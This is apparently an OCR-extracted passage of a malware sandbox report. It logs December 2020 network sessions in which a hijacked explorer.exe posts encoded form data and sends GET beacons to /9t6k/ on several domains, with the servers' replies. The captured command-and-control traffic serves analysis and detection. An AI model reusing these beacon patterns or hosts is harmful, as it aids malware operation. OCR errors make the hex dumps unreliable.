Referer: http://www.rodgroup.net/9t6k/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 55 52 66 6c 68 3d 78 58 33 30 78 53 34 72 49 4c 54 5f 4d 79 35 71 74 4c 37 2d 6f 48 6e 71 39 32 4b 4d 59 69
57 75 52 59 55 6e 33 4f 5a 75 39 61 42 52 43 49 5a 36 37 5a 76 50 6d 32 54 62 42 6d 46 4b 49 2d 4d 31 79 71 66 52 5a
55 56 4f 4e 41 41 69 74 51 4a 71 6a 44 43 35 7a 4e 54 41 28 72 6e 43 70 76 64 62 63 79 78 58 6f 43 43 61 66 77 52 79
7167 6d 50 6e 71 78 6a 35 6d 57 51 6¢ 58 37 74 54 50 69 62 71 77 35 32 4a 39 61 6f 58 33 31 34 6¢ 62 28 65 53 73 69 3
4 6a 45 49 2d 39 66 50 38 37 58 71 2d 57 6b 71 39 69 4d 6¢ 4b 46 78 53 30 53 72 32 57 7a 43 56 64 38 4d 54 65 53 32
66 31 45 72 66 44 37 57 59 71 34 4c 50 4d 57 70 66 63 47 59 44 73 36 6d 47 71 48 30 68 6f 64 37 71 44 41 4f 52 5a 52
47 65 76 6¢ 53 41 51 71 6d 39 30 4f 51 33 56 38 72 38 53 42 6a 52 56 51 4c 5a 57 54 65 45 46 6f 53 77 61 52 5a 38 52 64
50 42 33 43 6b 52 48 7a 6f 78 56 73 33 62 79 57 73 56 66 65 57 53 35 6d 79 55 46 76 6e 71 77 6d 49 69 31 77 63 6¢ 54
4e 4f 34 31 7a 4a 3562 77 71 31 50 4e 30 52 56 70 5f 4d 59 59 4f 67 45 76 4a 79 52 43 6d 68 46 51 78 66 57 38 46 50 65
73316577 48 73 67 76 7e 6d 46 75 79 41 79 70 46 5f 79 64 71 48 31 47 39 2d 67 68 71 65 6d 37 63 74 57 44 39 76 67
67 4d 77 38 70 79 46 6¢ 52 55 6d 63 5f 68 31 45 75 78 77 29 2e 00 00 00 00 00 00 00 00

Data Ascii: URflh=xX30xS4rILT_My5qtL7-oHnq92KMYiWuRYUn30Zu9aBRCIZ67ZvPm2ThBmFKI-M1yqfRZUVO
NAAItQJgjDC5zNTA(rnCpvdbcyxXoCCafwRygqgmPngxjsmWQIX7tTPibqw52J9a0X314lb(eSsi4jEI-9fP87Xqg-Wk
q9iIMIKFXS0Sr2WzCVd8MTeS2f1ErfD7WYq4LPMWpfcGYDs6mGgHOhod7gDAORZRGevISAQgm900Q3V8r
8SBjRVQLZWTeEFoSwaRZ8RdPB3CkRHzoxVs3byWsVfeWS5myUFvnqwmlilwclTNO41zJ5bwglPNORVp_
MYYOgEvIJyRCmhFQxfW8FPeslewHsgv~mFuyAypF_ydqH1G9-ghgem7ctWD9vggMw8pyFIRUmc_h1Euxw).

Destination IP Destination Port Process

208.91.197.27 80 C:\Windows\explorer.exe

Data

GET /9t6k/?URflh=+VDOV2YqGr3HQyUjxvrdySDa222PNTvrG/MhsshnzvBOEZIKybOIlzjmZT3lubthnocji&UfrDal=0nMpgJV
P5t_PDD5p HTTP/1.1

Host: www.rodgroup.net

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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kBytes
Timestamp transferred

Dec 3, 2020 6945
10:07:25.928437948 CET

Session ID Source IP
38 192.168.2.5

kBytes
Timestamp transferred
Dec 3, 2020 6965

10:07:36.368546009 CET

Copyright null 2020

Direction

IN

Source Port

49791

Direction

ouT

Data

HTTP/1.1 200 OK

Date: Thu, 03 Dec 2020 09:07:25 GMT

Server: Apache

Set-Cookie: vsid=919vr3545320458231392; expires=Tue, 02-Dec-2025 09:07:25 GMT; Max-Age=157680000; path=/;
domain=www.rodgroup.net; HttpOnly

X-Adblock-Key: MFwwDQY JKoZIhveNAQEBBQADSWAWSAJIBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkA
axXLPlcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRYjS2penECAWEAAQ==_D+jghxJ53hpkEJvSdIN2RigowZkrsn9E7IYs
080I1Brxy3q9LRfNpUg4L7YJ1dF924paShLwlhaHs3kAf2HkTkg==

Keep-Alive: timeout=5, max=42

Connection: Keep-Alive

Transfer-Encoding: chunked

Content-Type: text/html; charset=UTF-8

Data Raw: 34 39 34 61 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f
44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f
68 74 6d 6¢ 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d Oa 3c 68 74 6d 6¢ 20 78 6d 6¢ 6e 73 3d 22 68 74 74 70 3a 2f 2f
777777 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6¢ 22 20 64 61 74 61 2d 61 64 62 6¢ 6f 63 6b 6b 65 79 3d 22
4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 4542 42 51 41 44 53 77 41 77 53 41 4a 42 41 4b 58 37 34 69 78
70 7a 56 79 58 62 4a 70 72 63 4c 66 62 48 34 70 73 50 34 2b 4c 32 65 6e 74 71 72 69 30 6¢ 7a 68 36 70 6b 41 61 58 4c
5049 63 63 6¢ 76 36 44 51 42 65 4a 4a 6a 47 46 57 72 42 49 46 36 51 4d 79 46 77 58 54 35 43 43 52 79 6a 53 32 70 65
6e 4543 41 77 45 41 41 51 3d 3d 5f 44 2b 6a 67 62 78 4a 35 33 68 70 6b 45 4a 76 53 64 6¢ 4e 32 52 69 67 6f 77 5a 6b
72 73 6e 39 45 37 6¢ 59 73 6f 38 4f 49 42 72 78 79 33 71 39 4¢ 52 66 4e 70 55 67 34 4c 37 59 4a 31 64 46 39 32 34 70 61
53 68 4c 77 49 68 61 48 73 33 6b 41 66 32 48 6b 54 6b 67 3d 3d 22 3e 0d Oa 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 7
4797065 3d 2274 6578 74 2f6a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 61 62 70 3b 3c 2f 73 63 72 69 70 74 3e
3c 73637269 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 62 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74
70 3a 2f 2f 77 77 77 2e 72 6f 64 67 72 6f 75 70 2e 6e 65 74 2f 70 78 2e 6a 73 3f 63 68 3d 31 22 3e 3c 2f 73 63 72 69 70 74
3e 3c 73637269 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74
74 70 3a 2f 2f 77 77 77 2e 72 6f 64 67 72 6f 75 70 2e 6e 65 74 2f 70 78 2e 6a 73 3f 63 68 3d 32 22 3e 3¢ 2f 73 63 72 69 70
74 3e 3c 73637269 70742074 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 66 75 6e 63 74 69
6f 6e 20 68 61 6e 64 6¢ 65 41 42 50 44 65 74 65 63 74 28 29 7b 74 72 79 7b 69 66 28 21 61 62 70 29 20 72 65 74 75 72
6e 3b 76 61 72 20 69 6d 67 6¢ 6f 67 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6¢ 65 6d 65 6e 74 28 22 69
6d 67 22 29 3b 69 6d 67 6¢ 6f 67 2e 73 74 79 6¢ 65 2e 68 65 69 67 68 74 3d 22 30 70 78 22 3b 69 6d 67 6¢ 6f 67 2 73 74
79 6¢ 65 2e 77 69 64 74 68

Data Ascii: 494a<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.0rg/TR/html4/strict.dtd"><html
xmlns="http://www.w3.0rg/1999/xhtml" data-adblockkey="MFwwDQYJKoZIhvecNAQEBBQADSWAWSAJBAKX74ixpzVyX
bJprcLfbH4psP4+L2entqriOlzh6pkAaXLPlcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyYjS2penECAWEAAQ==_D+jgh
xJ53hpkEJvSdIN2RigowZkrsn9E71Yso80I1Brxy3q9LRfNpUg4L7YJ1dF924 paShLwlhaHs3kAf2HkTkg=="><head><script t
ype="text/javascript">var abp;</script><script type="text/javascript" src="http://www.rodgroup.net/px.js?ch=1"></script>
<script type="text/javascript" src="http://www.rodgroup.net/px.js?ch=2"></script><script type="text/javascript">function
handleABPDetect(){try{if('abp) return;var imglog = document.createElement("img");imglog.style.height="0px";imglog.style
.width

Destination IP Destination Port Process

34.102.136.180 80 C:\Windows\explorer.exe

Data

POST /9t6k/ HTTP/1.1

Host: www.buttsliders.com

Connection: close

Content-Length: 411

Cache-Control: no-cache

Origin: http://www.buttsliders.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.buttsliders.com/9t6k/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 55 52 66 6¢ 68 3d 69 58 65 51 46 6f 76 76 31 30 77 6f 50 32 68 78 42 78 32 48 55 32 58 49 70 57 54 30 30 54
3875 69 48 6d 5f 70 7a 43 54 38 49 71 70 76 42 65 6a 37 6b 52 33 63 52 63 68 76 6a 76 33 4a 6f 69 7a 72 6e 4c 34 6f 5f
73 4e 37 69 67 37 31 38 31 4b 43 38 49 5f 53 4b 36 35 41 68 57 4d 74 77 33 75 6d 31 36 36 74 48 28 54 4d 41 4a 4d 68
61 78 47 59 52 4c 76 6b 65 41 61 69 37 41 78 66 35 6f 75 4e 52 34 77 62 6¢ 6¢ 52 65 7a 78 35 65 4b 77 4e 65 50 63 47
46 75 62 70 64 37 69 6e 34 4f 36 58 61 6d 6¢ 71 64 68 4e 34 75 46 4c 54 71 47 39 70 7a 67 58 4f 68 65 28 44 51 6b 32 68
5a 58 4b 35 73 2d 6¢ 72 56 4e 64 6a 55 62 70 31 63 48 70 30 56 6b 44 78 46 5f 43 34 4c 57 70 36 34 57 28 4a 55 56 7e 4
d 59 47 34 56 70 30 61 59 35 6e 65 62 33 6a 69 65 4e 61 77 65 55 41 4f 77 6e 77 71 42 45 4a 31 72 43 4f 34 77 78 59 36
42 69 57 4d 4e 51 4a 75 31 53 6f 66 4e 45 73 49 52 66 53 38 71 55 71 68 5a 70 6¢ 52 74 45 79 4f 71 61 61 62 66 70 73
4a 57 34 6b 53 38 73 55 79 36 62 33 58 79 5a 55 6a 6b 6¢ 54 77 4f 64 56 77 39 69 72 53 56 6¢ 57 56 41 31 48 5a 57 43
4c 4e 42 49 61 61 62 55 5f 31 39 55 6d 50 76 45 33 31 35 61 47 48 64 6f 53 54 77 73 4e 38 31 50 36 62 32 64 31 4c 62 31
5f 63 72 7e 30 49 74 6¢ 75 67 61 6b 2d 4e 6e 58 41 29 2e 00 00 00 00 00 00 00 00

Data Ascii: URflh=iXeQFovv10woP2hxBx2HU2XIpWT00T8uiHm_pzCT8IgpvBej7kR3cRchvjv3JoizrnL4o0_sN7ig7181KC8
|_SK65AhWMtw3um166tH(TMAJIMhaxGYRLvkeAai7Axf50uNR4wblIRezx5eKwNePcGFubpd7in406XamlqgdhN4uFLT
qG9pzgXOhe(DQk2hZXK5s-IrVNdjUubplcHpOVKDxF_C4LWp64W(JUV~MYG4Vp0aY5neb3jieNaweUAOwnwgBEJ1rCO
4wxY6BIWMNQJIu1SofNEsIRfS8qUghZplRtEyOqaabfpsJW4kS8sUy6b3XyZUjkITwOdVw9irSVIWVA1IHZWCLNBIlaab
U_19UmPvE315aGHdoSTwsN81P6b2d1Lbl_cr~0Oltlugak-NnXA).
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kBytes
Timestamp transferred

Dec 3, 2020 6966
10:07:36.484241962 CET

Session ID Source IP
39 192.168.2.5

kBytes
Timestamp transferred
Dec 3, 2020 6966

10:07:36.385788918 CET

Dec 3, 2020 6967
10:07:36.500643969 CET

Session ID Source IP
4 192.168.2.5

kBytes
Timestamp transferred
Dec 3, 2020 5953

10:04:04.242165089 CET

Session ID Source IP

40 192.168.2.5
kBytes

Timestamp transferred

Copyright null 2020

Direction

IN

Source Port

49792

Direction

ouT

Source Port

49746

Direction

ouT

Source Port

49799

Direction

Data

HTTP/1.1 405 Not Allowed

Server: openresty

Date: Thu, 03 Dec 2020 09:07:36 GMT

Content-Type: text/html

Content-Length: 154

X-Adblock-Key: MFwwDQY JKoZlhveNAQEBBQADSWAWSAIBAIRmMzcpTevQakWn6dJuX/N/HxI7YxbOwy8+73ijqYSQ
EN+WGxrruAKtZtliWwC86+ewQ0OmsW1W8psOFL/b00zZWqsCAWEAAQ_GEWaPWv7oyNYqiTCBTrOX3wFLHEG
FYJmYtd8eW6RDQACsROFNoyy1I8NhYtQ2wdaEnybn244fxZZ3FTqidUUEW

Via: 1.1 google

Connection: close

Data Raw: 3c 68 74 6d 6¢ 3e 0d Oa 3c 68 65 61 64 3e 3¢ 74 69 74 6¢ 65 3e 34 30 35 20 4e 6f 74 20 41 6¢ 6¢ 6f 77 65 64
3c 2f 74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d Oa 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35
20 4e 6f 74 20 41 6¢ 6¢ 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3¢ 68 72 3e 3c 63 65 6e 74 65 72 3e
6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa

Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr>
<center>openresty</center></body></html>

Destination IP Destination Port Process

34.102.136.180 80 C:\Windows\explorer.exe

Data

GET /9t6k/?URfIh=tVqgbIXu9nsll248AUXCUxr000zC9i0c8STc7UOUyN+2mFy87kkAT VINWFSSPJTjqgHk&UfrD
al=0nMpgJVP5t_PDD5p HTTP/1.1

Host: www.bulttsliders.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 403 Forbidden

Server: openresty

Date: Thu, 03 Dec 2020 09:07:36 GMT

Content-Type: text/html

Content-Length: 275

ETag: "5fc566f7-113"

Via: 1.1 google

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e Oa 3c 68 65
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0Oa 20 20 20
20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d
61 67 65 2f 78 2d 69 63 6f 6e 3b 2¢ 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c
74 69 74 6¢ 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e Oa 3c
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e Oa 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-
8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">  <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>

Destination IP Destination Port Process

198.54.117.210 80 C:\Windows\explorer.exe

Data

GET /9t6k/?URflh=AgHI0+MX2ftrVe3DEiYBNVYhM67Z+gKer8sV+OvuybcJEOEIXTUx/0N346XCugNKhu9g&UfrD
al=0nMpgJVP5t_PDD5p HTTP/1.1

Host: www.kingdomwinecommunity.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

Destination IP Destination Port Process

198.54.117.215 80 C:\Windows\explorer.exe

Data
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Timestamp

Dec 3, 2020
10:07:41.684077024 CET

Dec 3, 2020
10:07:41.854650974 CET

Session ID

41

Timestamp

Dec 3, 2020
10:07:41.849710941 CET

Session ID

42

Timestamp

Copyright null 2020

kBytes
transferred

7108

7109

Source IP

192.168.2.5

kBytes
transferred

7108

Source IP

192.168.2.5

kBytes
transferred

Direction

ouT

Source Port

49800

Direction

ouT

Source Port

49801

Direction

Data

POST /9t6k/ HTTP/1.1

Host: www.thanksforlove.com

Connection: close

Content-Length: 411

Cache-Control: no-cache

Origin: http://www.thanksforlove.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.thanksforlove.com/9t6k/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 55 52 66 6¢ 68 3d 72 52 70 6b 6b 58 33 32 4a 44 73 57 47 78 5a 31 6e 4f 77 45 48 36 4d 65 61 70 78 65 79 76
77 45 31 45 6e 69 6¢ 6 55 56 63 38 78 57 78 6¢ 32 34 51 4e 52 6d 70 79 4f 53 4e 35 55 59 35 69 62 70 48 4f 64 67 4c 76
6b 5a 39 6a 4d 71 68 6f 30 65 66 37 73 78 55 33 47 66 31 4a 52 2d 71 4b 28 2d 48 34 48 4c 6d 4f 58 78 78 59 6f 51 51 4c
43 32 64 6d 53 39 4f 35 72 43 4a 37 76 33 43 6d 30 42 70 4f 41 45 39 4d 46 4c 49 2d 48 59 48 48 67 44 6d 5f 4d 4b 73 75
4b 4a 78 61 4e 35 75 76 6e 51 56 69 46 2d 58 48 5a 4c 78 53 62 50 6f 47 56 31 51 4c 54 7a 7a 5f 38 35 57 41 52 45 4b 5f
7141 6¢ 39 66 5a 54 49 55 51 6e 69 4f 7a 67 76 63 78 74 62 45 78 30 75 71 6f 56 58 57 78 73 71 70 54 30 4b 6b 4b 6e 72
59 45 43 36 76 75 6b 4a 44 32 6e 69 56 6e 59 31 28 71 53 33 53 73 32 4b 48 58 49 6b 72 59 33 31 71 59 41 71 32 62 57
59 70 64 4b 6d 59 72 50 56 50 61 30 78 34 66 5a 6¢ 41 51 72 76 53 50 33 58 6b 37 37 59 51 71 6a 4b 6b 34 79 65 69 7a
54 69 7a 4e 38 73 33 75 6d 6f 73 63 4c 47 6d 4e 6¢ 43 7e 72 38 6a 35 34 32 79 39 4d 77 31 6f 77 54 4a 58 57 36 30 44 3
473 653148 62 39 52 6d 30 30 56 45 77 63 4d 44 4e 6e 33 4d 41 49 57 6¢ 51 38 46 5a 7e 33 4d 70 30 51 78 68 41 4b
6a 77 36 42 75 2d 67 38 54 52 4d 70 72 71 59 67 29 2e 00 00 00 00 00 00 00 00

Data Ascii: URflh=rRpkkX32JDsWGxZ1nOwEH6MeapxeyvwE1EniloUVc8xWxI24QNRmpyOSN5UY5ibpHOdgLvkZ
9jMgho0ef7sxU3Gf1IR-gK(-H4AHLMOXxxYoQQLC2dmS905rCI7v3CmOBpOAEIMFLI-HYHHgDm_MKsuKJxaN5uvnQVi
F-XHZLxSbPoGV1QLTzz_85WAREK_gAI9fZTIUQniOzgvextbExOuqoVXWxsqpTOKKKnrYEC6vukID2niVnY1(gqS3Ss
2KHXI1krY31gYAq2bWYpdKmYrPVPa0x4{fZIAQrvSP3Xk77YQqjKk4yeizTizN8s3umoscLGmNIC~r8j542y9MwlowTJ
XW60D4se1Hb9RMOOVEWCMDNN3MAIWIQ8FZ~3Mp0QxhAKjw6Bu-g8 TRMpraYg).

HTTP/1.1 405 Not Allowed

Date: Thu, 03 Dec 2020 09:07:41 GMT

Content-Type: text/html

Content-Length: 154

Connection: close

Server: namecheap-nginx

Allow: GET, HEAD

Data Raw: 3c 68 74 6d 6¢ 3e 0d Oa 3c 68 65 61 64 3e 3¢ 74 69 74 6¢ 65 3e 34 30 35 20 4e 6f 74 20 41 6¢ 6¢ 6f 77 65 64
3c 2f 74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d Oa 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35
20 4e 6f 74 20 41 6¢ 6¢ 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3¢ 68 72 3e 3c 63 65 6e 74 65 72 3e
6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa

Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr>
<center>openresty</center></body></html>

Destination IP Destination Port Process

198.54.117.215 80 C:\Windows\explorer.exe

Data

GET /9t6k/?URflh=kTde6z/9FBgibCIh75hFVBEYWatL10Q/rhfr5o0U2UZBR6XWcBOIN723UV5Uezh3ZQ40t&UfrD
al=0nMpgJVP5t_PDD5p HTTP/1.1

Host: www.thanksforlove.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

Destination IP Destination Port Process

23.227.38.74 80 C:\Windows\explorer.exe

Data
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kBytes

Timestamp transferred Direction Data
Dec 3, 2020 7110 ouT POST /9t6k/ HTTP/1.1
10:07:47.042588949 CET Host: www.outtheframecustoms.com

Connection: close

Content-Length: 411

Cache-Control: no-cache

Origin: http://www.outtheframecustoms.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.outtheframecustoms.com/9t6k/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 55 52 66 6¢ 68 3d 55 2d 77 75 54 6f 51 53 30 35 54 63 4e 35 51 57 34 79 70 71 32 6f 74 4c 31 51 4e 7a 42 4d
51 33 5a 4b 72 4e 4d 56 6e 6a 35 45 42 41 63 72 64 35 54 7a 78 67 34 61 37 71 4f 47 67 75 4e 47 6¢ 54 4e 7a 34 4b 6f 7a
46 38 67 4d 65 39 77 6¢ 38 37 70 6f 49 56 69 78 61 58 73 7a 46 53 64 31 56 77 6b 46 64 61 31 46 69 4c 75 52 46 4a 50
6b 43 38 57 30 4e 6¢c 48 32 58 68 28 53 5a 46 45 62 77 78 55 50 55 5a 4b 46 47 61 6d 4a 4d 32 53 70 34 59 33 55 6f 4¢
433370 3052 78 47 4e 49 52 72 46 4d 69 4c 30 31 58 42 36 64 45 7a 2d 47 35 65 4f 56 36 57 72 4f 74 63 76 32 39 6b 74
78 73 4d 5f 4d 50 6d 4b 4b 35 43 30 61 48 69 55 6a 53 45 43 4b 53 45 36 74 66 32 74 54 5a 7a 41 62 49 47 65 6542 37 5
5317256 72 74 58 77 36 53 47 6b 41 4f 6b 78 2d 4e 64 73 56 66 57 45 69 58 6¢ 57 58 4a 6e 46 54 53 64 63 6e 6b 33 7a
76 4d 65 72 53 7e 61 79 36 68 56 46 34 38 4f 38 69 56 4d 55 5f 74 48 6d 35 30 56 58 30 55 33 53 47 7e 49 73 4d 52 6¢ 6f
5359 55 52 77 6¢ 66 43 33 31 35 35 54 53 6b 5a 74 69 64 6f 55 76 4f 50 51 6¢ 52 74 57 7e 31 43 36 51 64 46 55 71 78 68
6a 39 73 6a 44 65 35 4a 66 58 41 65 6b 65 44 65 38 72 57 51 54 75 54 48 56 48 32 57 66 63 78 33 79 61 55 63 64 52 64
30 48 4b 4f 55 36 64 7a 49 45 42 55 58 37 58 51 29 2e 00 00 00 00 00 00 00 00

Data Ascii: URflh=U-wuToQS05TcN5QW4ypq20tL1QNzBMQ3ZKrNMVnj5EBAcrd5Tzxg4a7qOGguNGITNz4KozF8
gMe9wI87polVixaXszFSd1VwkFdalFiLuRFIPKC8WONIH2Xh(SZFEbwxUPUZKFGamJIM2Sp4Y3UoLC3pORXGNIRrFMi
LO1XB6dEz-G5e0V6WrOtcv29ktxsM_MPmKK5C0aHiUjSECKSE6tf2tTZzAblGeeB7U1rVitXw6 SGKAOkx-NdsVIWEi
XIWXInFTSdcnk3zvMerS~ay6hVF4808iVMU_tHM50VX0U3SG~IsMRIoSYURwIfC3155TSkZtidoUvOPQIRtW~1C6Qd
FUqxhj9sjDe5JfXAekeDe8rWQTuTHVH2Wfcx3yaUcdRAOHKOUGdzIEBUX7XQ).

Session ID Source IP Source Port Destination IP Destination Port Process
43 192.168.2.5 49802 23.227.38.74 80 C:\Windows\explorer.exe
kBytes
Timestamp transferred Direction Data
Dec 3, 2020 7111 ouT GET /9t6k/?URflIh=b8EUNPE+0Yf5M4MWpXscm/Bt3xsjLt8hNenJI3DjxXNjYfRDWCOpztruTX9IDI5bQG1I1&UfrD
10:07:47.060170889 CET al=0nMpgJVP5t_PDD5p HTTP/1.1

Host: www.outtheframecustoms.com
Connection: close

Data Raw: 00 00 00 00 00 00 00
Data Ascii:
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Timestamp

Dec 3, 2020
10:07:47.202081919 CET

Session ID

44

Timestamp

Dec 3, 2020
10:07:52.229012012 CET

Copyright null 2020

kBytes
transferred

7112

Source IP

192.168.2.5

kBytes
transferred

7118

Direction

IN

Source Port

49803

Direction

ouT

Data

HTTP/1.1 403 Forbidden

Date: Thu, 03 Dec 2020 09:07:47 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

X-Sorting-Hat-Podld: 157

X-Sorting-Hat-Shopld: 46455914654

X-Dc: gcp-us-centrall

X-Request-1D: a95fb9c8-ce79-4822-a84c-c86bb54630db

X-Download-Options: noopen

X-Permitted-Cross-Domain-Policies: none

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

CF-Cache-Status: DYNAMIC

cf-request-id: 06c9749efa00000631b2299000000001

Server: cloudflare

CF-RAY: 5fbc23ab2dcf0631-FRA

Data Raw: 31 34 31 64 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e
22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e Oa
20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 65 76 65
72 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6¢ 65 3e 41 63 63 65 73 73 20 64 65 6e 69 65 64 3c 2f 74 69 74 6¢ 65 3e Oa 20
202020 3c 73 74 79 6¢ 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 2a 7b 62 6f 78
2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 7
4 6d 6¢ 7b 66 6f 6e 74 2d 66 61 6d 69 6¢ 79 3a 22 48 65 6¢ 76 65 74 69 63 61 20 4e 65 75 65 22 2¢ 48 65 6¢ 76 65 74 69
6361 2c 41726961 6¢ 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 31 46 31 46 31 3b
66 6f 6e 74 2d 73 69 7a 65 3a 36 32 2e 35 25 3b 63 6f 6¢ 6f 72 3a 23 33 30 33 30 33 30 3b 6d 69 6e 2d 68 65 69 67 68 74
3a 313030 25 7d 62 6f 64 79 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 6¢ 69 6e 65 2d 68 65 69 67
68 74 3a 32 2e 37 72 65 6d 7d 61 7b 63 6f 6¢ 6f 72 3a 23 33 30 33 30 33 30 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a
31 70 78 20 73 6f 6¢ 69 64 20 23 33 30 33 30 33 30 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 70
61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 62 6f 72 64 65 72 2d 63 6f 6¢
6f 72 20 30 2e 32 73 20 65 61 73 65 2d 69 6e 7d 61 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 63 6f
6¢ 6f 72 3a 23 41 39 41 39 41 39 7d 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 38 72 65 6d 3b 66 6f 6e 74 2d 77 65 69
67 68 74 3a 34 30 30 3b 6d 61 72 67 69 6e 3a 30 20 30 20 31 2e 34 72 65 6d 20 30 7d 70 7b 66 6f 6e 74 2d 73 69 7a 65
3a 31 2e 3572 656d3b6d61 726769 6e 3a30 7d 2e 70 61 67 65 7b 70 61 64 64 69 6e 67 3a 34 72 65 6d 20 33 2e 35
72 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 64 69 73 70 6¢ 61 79 3a 66 6¢ 65 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30
